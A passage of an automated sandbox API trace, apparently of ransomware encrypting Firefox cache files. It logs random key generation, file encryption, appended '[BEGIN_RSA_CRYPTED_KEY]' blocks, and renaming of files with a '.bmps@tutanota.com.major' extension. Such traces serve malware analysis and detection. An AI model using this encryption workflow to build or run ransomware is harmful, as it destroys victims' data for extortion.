pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.804] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.804] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+bHdVZTa1DUpalGFIDVZAcPN99m0UQPce8D0VIoLSkjMAblizqfG1V9RkV9SIM8G\nyIDvOPHzbrUfqLF0pqZj+wl1WN/fisLbyl6Q4PLzRIfDkTDV9soErEHoe/Ej1rT3\nt3mKLYHgkftWMtwfmV/MgfwWOQ5/mfLAEXPrgud/Bi9j4MMnvE6sqkOgWS4MXlBR\nVyBSIhLFQ9rmhVaDKa/JH2SC15wsXIyrkcGOOJCbcYRp2YIlio7QU4RsNdBn3OON\nyltwXj3tp6NbNoz52u1WcyGLH3qGOKjpRQLxhvh/oE6mqgVZ9cTV7y/tS1RHuMTH\n0QU7/Ioab2zvWWOwLdyujw==\n", pcchString=0x2e3f9a8) returned 1 [0262.804] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.804] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.804] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.804] CloseHandle (hObject=0x1b84) returned 1 [0262.805] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\838A2699F7D6AC832EA18FEB8ED74064E9A1AF7A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\838a2699f7d6ac832ea18feb8ed74064e9a1af7a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\838A2699F7D6AC832EA18FEB8ED74064E9A1AF7A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\838a2699f7d6ac832ea18feb8ed74064e9a1af7a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.807] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.807] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\830EF7DA0A505480D0919A7D9DC8F36D554F9CF7", dwFileAttributes=0x80) returned 1 [0262.807] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xf2d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0262.828] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3885, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.829] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e760*, nNumberOfBytesToWrite=0xf2d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e760*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf2d, lpOverlapped=0x0) returned 1 [0262.829] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf2d [0262.829] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.829] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.830] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.830] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="N2v32w4gj0ffx0N7QfTjpWxHoPwungFukvUeHOlMZpWHZ4E71igNyhPJceVtcyPq\nu3FGBk4RrbxsXMcO1y8SFMUyhrnLwYmpNdD+i2Q91iCa2gUDPKUmH1AyMXO+L6lM\nJxvYYsInKFnVdD0v3MDcq1cYdJSRqYks1UbZWBxiwxLEPYN3zegx5yaDXOeTmZGh\n1SVSwbAhu9lNcV9BkJITy5N7g+JBVwR9owRLshIfoadOUOlJo71Osp9L9PlbxNH8\nh+sLVhg2FOcfThepwaiQn1+AaiiHdTnS9oefO//lDXEZ2lZxmFvrt/ApaWNiDanN\nvg3a1sLpN7q4DGqWLKQViQ==\n", pcchString=0x2e3f9a8) returned 1 [0262.830] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.831] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.831] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.831] CloseHandle (hObject=0x1b84) returned 1 [0262.831] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\830EF7DA0A505480D0919A7D9DC8F36D554F9CF7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\830ef7da0a505480d0919a7d9dc8f36d554f9cf7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\830EF7DA0A505480D0919A7D9DC8F36D554F9CF7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\830ef7da0a505480d0919a7d9dc8f36d554f9cf7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.833] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.833] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\829547D629FA0B34042E40EBE97FC63C4697EA33", dwFileAttributes=0x80) returned 1 [0262.833] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x483c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x483c, lpOverlapped=0x0) returned 1 [0262.947] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.947] WriteFile (in: hFile=0x1b84, lpBuffer=0x3446048*, nNumberOfBytesToWrite=0x483c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x483c, lpOverlapped=0x0) returned 1 [0262.948] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x483c [0262.948] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.948] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.949] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.949] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.949] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QV5iLF75nzHd2mm/D2mR8Ub7s+jvJPBJfHC1H0csQ+QfqbNW8Uw5YllhPxUrUHni\nuiOnOpmM+uvZcQPnGMpdVZhVfrPEBqCsfqiFfHzU4Fflgyd8vGivCT9jqn8bxyvQ\nCqCqXaYzMNax8AEX3PMa7hiElgIJDntzjdbmKjPs1c+KE5eknLmaA9b4nVfDjFyH\n4vECN2oLiYU36AH12uitHzfsryE0OwuSqiAoUauSmOrULYe3xzyoI/ZIxNUXVlim\nHx9e0fIC0eSBKilRtVxX5C31oFhKyP3JvY2B9NDBYGfLKA2V40gdijeY7sy9tfsf\ndDJJfy8ZoBrYmYlrQUrqSA==\n", pcchString=0x2e3f9a8) returned 1 [0262.949] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.950] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.950] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.950] CloseHandle (hObject=0x1b84) returned 1 [0262.950] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\829547D629FA0B34042E40EBE97FC63C4697EA33" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\829547d629fa0b34042e40ebe97fc63c4697ea33"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\829547D629FA0B34042E40EBE97FC63C4697EA33.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\829547d629fa0b34042e40ebe97fc63c4697ea33.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.953] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.953] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8216A5649BBA4864CF37B7367FEC186350C72B87", dwFileAttributes=0x80) returned 1 [0262.953] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xe9d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xe9d, lpOverlapped=0x0) returned 1 [0262.986] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0262.986] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e6d0*, nNumberOfBytesToWrite=0xe9d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e6d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe9d, lpOverlapped=0x0) returned 1 [0262.987] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe9d [0262.987] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.987] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.988] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0262.988] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0262.988] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0262.988] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3Bbqupy8bqZ5sudRWPdmzX6f81jDvSJJQdMri50Q0LK3DBnE9mhhUo/gM4e2qzRO\n+Xm/oMAV756erz0DUQHRkT+91rrFkIwcD/SuFyGoJ3Mze9XDgNvyQYf28X1J3lmV\nujazL3Y6WLYLBjRr4j/EYHGS8DOnu8gXtFUFWPWgNRI2rddAf9wtDNPaH4sAQh5S\npaVebM/OF3EjAaiZ04wXl1lThebNKGhZ0kyvjOp67YvDseY0VGUMwgFANQXlUeTK\nhdXgbNbaFX8H9ihUm0ZL1PsDea/N1JQiHd5vhOtBJiCQzhT4Z8ksZvE5KXY7K/WP\n+IdI2LDZb+xC1iyaktV3dA==\n", pcchString=0x2e3f9a8) returned 1 [0262.988] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0262.988] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0262.988] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0262.989] CloseHandle (hObject=0x1b84) returned 1 [0262.989] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8216A5649BBA4864CF37B7367FEC186350C72B87" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8216a5649bba4864cf37b7367fec186350c72b87"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8216A5649BBA4864CF37B7367FEC186350C72B87.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8216a5649bba4864cf37b7367fec186350c72b87.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0262.991] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0262.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\81B8DA2D01662466BB100C917F0F5E05E189A2D9", dwFileAttributes=0x80) returned 1 [0262.992] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x10fe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x10fe, lpOverlapped=0x0) returned 1 [0263.068] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.068] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e930*, nNumberOfBytesToWrite=0x10fe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e930*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10fe, lpOverlapped=0x0) returned 1 [0263.069] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10fe [0263.069] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.069] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vvDwxinYBiSpjy929r9oPJPbPPYAPgjfKm0naT3IzcFLACTrtCAHTDgNJux1u7Ck\nq2ZgF+moa16+zUBjs/yto0CHrBRuBedei1TcAboOEQIexR9SbTiXToTLqNy7BDBS\nfSLsgrdeBVBcsZ0WJ7LuwtX1YF3cjEnk0D/t7zAtjU9FRYOdpy+7cSH/yJJsfS1a\n0y8AznY2GVNCWAfLlJa66DrwkEENa7oXxkxcj2bZ9C2q/00DZU21yF9YiFPe69+g\n+MMlwGnV7IEIKp+02wvAENRry3k2Tyu14EHxrDOd8XCbJJNQxF22ukaRSpY1q1JZ\nN99UWyYM3zQuytnrOwoRKw==\n", pcchString=0x2e3f9a8) returned 1 [0263.071] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.071] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.071] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.071] CloseHandle (hObject=0x1b84) returned 1 [0263.072] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\81B8DA2D01662466BB100C917F0F5E05E189A2D9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\81b8da2d01662466bb100c917f0f5e05e189a2d9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\81B8DA2D01662466BB100C917F0F5E05E189A2D9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\81b8da2d01662466bb100c917f0f5e05e189a2d9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.074] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.074] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7ED75B3614C7D3EEE86D39A5F382CBE557DA312E", dwFileAttributes=0x80) returned 1 [0263.075] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x453, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x453, lpOverlapped=0x0) returned 1 [0263.076] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.076] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x453, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x453, lpOverlapped=0x0) returned 1 [0263.077] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x453 [0263.077] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5geMz8HlMN4PiBPU4cDCVMXE/MgVY7beW6tl4tlojLgt5BPoI8CBOJ4PdlAaxeo/\ngG8jTWdjIwmj99tZ90j707tF6eV7l2YA4HHGS41H4/9ozPNfAwYWehJApMPUs29C\n2nW1sLUVYxj22xhdaFhxatWWRGUExGkEHM0WfZHV0ZJNnriOKKhwoRY9W7bN28bg\ngFnyXbHJEOARcklUZh1M7mpZnWv8q4UdDYKFzKUR8fOOIACb1trur+j27t68bTBN\nGVxQRbRwClXlLr2e1hWwK35zdoHUx15SP+D4BWtyFT/zj+qVoBy/JDjtzfpo71W5\nEYJ+ZqhhuY/X4rvdIWm9Kw==\n", pcchString=0x2e3f9a8) returned 1 [0263.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.079] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.079] CloseHandle (hObject=0x1b84) returned 1 [0263.079] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7ED75B3614C7D3EEE86D39A5F382CBE557DA312E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7ed75b3614c7d3eee86d39a5f382cbe557da312e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7ED75B3614C7D3EEE86D39A5F382CBE557DA312E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7ed75b3614c7d3eee86d39a5f382cbe557da312e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.116] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.117] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7E9C60545DC531C765E8BEBC858D9C964D7BC7B6", dwFileAttributes=0x80) returned 1 [0263.117] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xb1e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xb1e, lpOverlapped=0x0) returned 1 [0263.155] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2846, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.155] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e350*, nNumberOfBytesToWrite=0xb1e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e350*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb1e, 